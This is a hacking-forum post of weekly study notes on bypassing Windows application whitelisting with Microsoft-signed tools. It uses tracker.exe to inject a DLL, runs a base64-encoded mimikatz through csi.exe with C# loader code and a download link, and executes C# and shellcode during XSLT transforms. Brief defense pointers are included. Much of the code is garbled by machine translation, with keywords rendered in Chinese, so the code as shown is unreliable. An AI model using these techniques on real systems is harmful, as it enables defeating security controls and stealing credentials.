跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

每周学习笔记第4期(使用跟踪器加载dll使用CSI绕过umci从XSLT文件执行c #)


Xiao7

推荐的帖子

About:

使用跟踪器加载dll

使用csi绕过应用程序白名单

从XSLT文件执行C#

目录:

介绍了用tracker.exe加载动态链接库的方法。

如何使用csi.exe绕过Windows设备保护

在XSLT文件转换期间执行C#代码

0x01 use tracker to load dll

Reference:

https://twitter.com/subTee/status/793151392185589760

2-1.png

简介:

Casey在Twitter上分享了一个技巧,使用tracker.exe创建进程和注入dll。特别是,tracker.exe来自SDK,包括微软的数字签名。本文将分享一些使用该技巧的经验,并补充一个直接使用tracker.exe加载dll的技巧。

Tracker.exe:

Tracker.exe被用来启动一个过程,并在创建后将FileTracker.dll注入其中。

跟踪目标进程的文件访问,并将其写入. tlog文件

通用目录(需要SDK):

c:\ Program Files(x86)\ Microsoft SDKs \ Windows \ v 8.1a \ bin \ NETFX 4 . 5 . 1 Tools

c:\ Program Files(x86)\ Microsoft SDKs \ Windows \ v 10.0 a \ bin \ NETFX 4 . 6 . 1 Tools \ x64

语法:

Tracker.exe[选项] [@跟踪器响应文件]/c[命令行]

/d file.dll:使用跟踪dll file.dll启动进程。(默认:通过路径提供FileTracker.dll)

/i[f] path:用于跟踪日志输出的中间目录。(使用/if立即将路径展开为完整路径)(默认:被跟踪进程中的当前目录)

/o:对每个文件执行跟踪操作。

/m:在跟踪日志中包括丢失的文件,即那些在进程关闭前被删除的文件。

/u:不从跟踪日志中删除重复的文件操作。

/t:跟踪命令行(用“@ filename”语法指定的响应文件将被展开)

/a:启用扩展跟踪:GetFileAttributes,getfileattributes sex

/e:启用扩展跟踪:GetFileAttributes、GetFileAttributesEx、RemoveDirectory、CreateDirectory。

/k:在跟踪日志文件名中保留完整的工具链。

/r文件1;2.文件;文件:被跟踪的主根输入文件(缺省值:无)

/c[命令行]:要跟踪的命令(必须是最后一个参数)

/?此帮助文本

实际测试:

在cmd下运行:

Tracker.exe/test.dll/cmd.exe

如图所示,test.dll加载成功。

2-2.png

Test.dll是一个默认包含导出函数的dll。示例代码如下:

#include 'stdafx.h '

#包括

BOOL API entry DllMain(HMODULE HMODULE,

呼叫的原因,

LPVOID lpReserved

)

{

开关(ul_reason_for_call)

{

案例DLL_PROCESS_ATTACH:

MessageBox(NULL,L'testexport ',L'testexport ',MB _ OK);

案例DLL_THREAD_ATTACH:

案例DLL_THREAD_DETACH:

案例DLL_PROCESS_DETACH:

打破;

}

返回TRUE

}

分析:

这项技术具有以下特点:

包含Tracker.exe数字签名,可以绕过应用白名单的限制。

Tracker.exe可以在启动进程时加载dll。

但是,如果你只想通过tracker.exe加载dll,有以下问题:

选择一个不存在或没有足够权限加载dll的进程。

但是,这个问题可以通过一种特殊的工艺来解决,比如svchost.exe。然后,dll加载后,进程svchost.exe可以自动退出,从而实现通过tracker.exe加载dll。

防御:

向tracker.exe添加黑名单规则

0x02 use csi to bypass Application Whitelisting

Reference:

http://subtox 10 . blogspot . com/2016/09/application-白名单-bypass-csiexe.html

简介:

也是用带有微软签名的exe绕过白名单的技术。Matt Graeber曾经介绍过如何使用cdb.exe绕过Windows设备防护。这次,Casey介绍了使用C#相关的csi.exe绕过Windows设备保护的技术。本文将分享这项技术的研究经验,并完成凯西在博客中留给读者的作业3354。没有安装VS2015的win10如何使用csi.exe?

csi.exe:

在Visual Studio 2015更新1中引入

安装后位置在c:\ program files(x86)\ msbuild \ 14.0 \ bin中。

实际测试:

测试系统:

Win10安装Visual Studio 2015

1.在csi编译环境中直接执行代码

直接运行csi.exe会进入编译环境,在这里可以直接填写代码运行。

3-1.png

测试文章中Casey的代码,从文件中读取base64加密的mimikatz.exe,并解密。代码如下:

使用系统;

使用系统。反思;

字符串s=系统。IO . file . read all text(@ ' c:\ \ test \ \ Katz . txt ');

byte[] b=系统。Convert . FromBase64String字符串;

组件a=组件。负载(b);

MethodInfo method=a . EntryPoint

object o=a.CreateInstance(方法。姓名);

方法。Invoke(o,null);

mimikatz.exe的base64加密后保存的文件katz.txt已经上传,地址是:

https://raw . githubusercontent . com/3g student/test/master/Katz . txt

如图所示,mimikatz.exe被成功解密并执行。

3-2.png

2.执行.csx文件中的代码

在katz.csx文件中编写上述测试代码。

在csi编译环境中运行:

#load 'c:\\test\\katz.csx '

注:

路径必须包含双引号,加载前缀#

如图所示,测试成功执行。

3-3.png

3.在cmd下运行

您可以添加的路径。csx文件直接放在cmd下的csi.exe之后。

例如:

c:\ Program Files(x86)\ MSBuild \ 14.0 \ Bin \ CSI . exe ' c:\ test \ Katz . csx

如图所示,测试成功执行。

3-4.png

当然,你不一定要在Win10上安装vs2015才能使用csi.exe。这也是凯西给读者的功课,让他们找到csi.exe所需要的依赖。

这个作业我已经做完了,依赖文件至少需要6.77MB,可以在csi.exe的同一个目录C:\ program files(x86)\ msbuild \ 14.0 \ bin下找到。将csi.exe及其依赖项上传到Win10系统就可以直接使用了。

依赖文件列表如下:

微软。CodeAnalysis.CSharp.dll

微软。CodeAnalysis.CSharp.Scripting.dll

微软。CodeAnalysis.dll

微软。CodeAnalysis.Scripting.dll

系统。AppContext.dll

系统。Collections.Immutable.dll

系统。IO.FileSystem.dll

系统。IO.FileSystem.Primitives.dll

系统。Reflection.Metadata.dll

补充:

此方法仅用于Win10。

防御:

Matt Graeber在以下地址分享了他的应对方法并更新了设备保护旁路缓解规则:

https://twitter.com/mattifestation/status/781211230065332224

https://github . com/matti festation/DeviceGuardBypassMitigationRules/

0x03 execute C# from XSLT file

Reference:

https://twitter.com/subTee/status/796737674954608641

4-1.png

POC地址:

https://gist . github . com/subTee/c34d 0499 e 232 c 1501 ff 9 f 0a 8 DD 302 CBD # file-script-PS1

简介:

Casey在Twitter上分享了一个在XSLT文件转换过程中执行C#代码的有趣技巧。本节将分享该技能的经验,并扩展POC,结合前面的代码通过XSLT文件实现shellcode。

XSLT:

XSLT是可扩展样式表语言转换的缩写。

用于将XML文档转换为以下格式之一:

超文本标记语言

可扩展标记语言

可扩展的超文本标记语言

XSLT

文本

在转换操作的过程中,可以执行c#或VB代码,类似于VisualStudio Persistence中编译时执行代码。

XSLT广泛应用于web前端。

实际测试:

将calc.xslt,example.xml和script.ps1放在同一个目录下,在script.ps1中设置路径变量$path。

执行script.ps1生成output.xml,弹出计算器,如图。

4-2.png

有关编写XSLT的更多提示,请参考以下链接:

https://msdn . Microsoft . com/en-us/library/wx aw 5 z 5 e(v=vs . 110)。aspx

所以基于之前的研究,外壳代码是通过XSLT调用C#来执行的。地址如下:

https://github.com/3gstudent/Execute-CSharp-From-XSLT-TEST/

注:

主要修改了calc.xslt文件。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...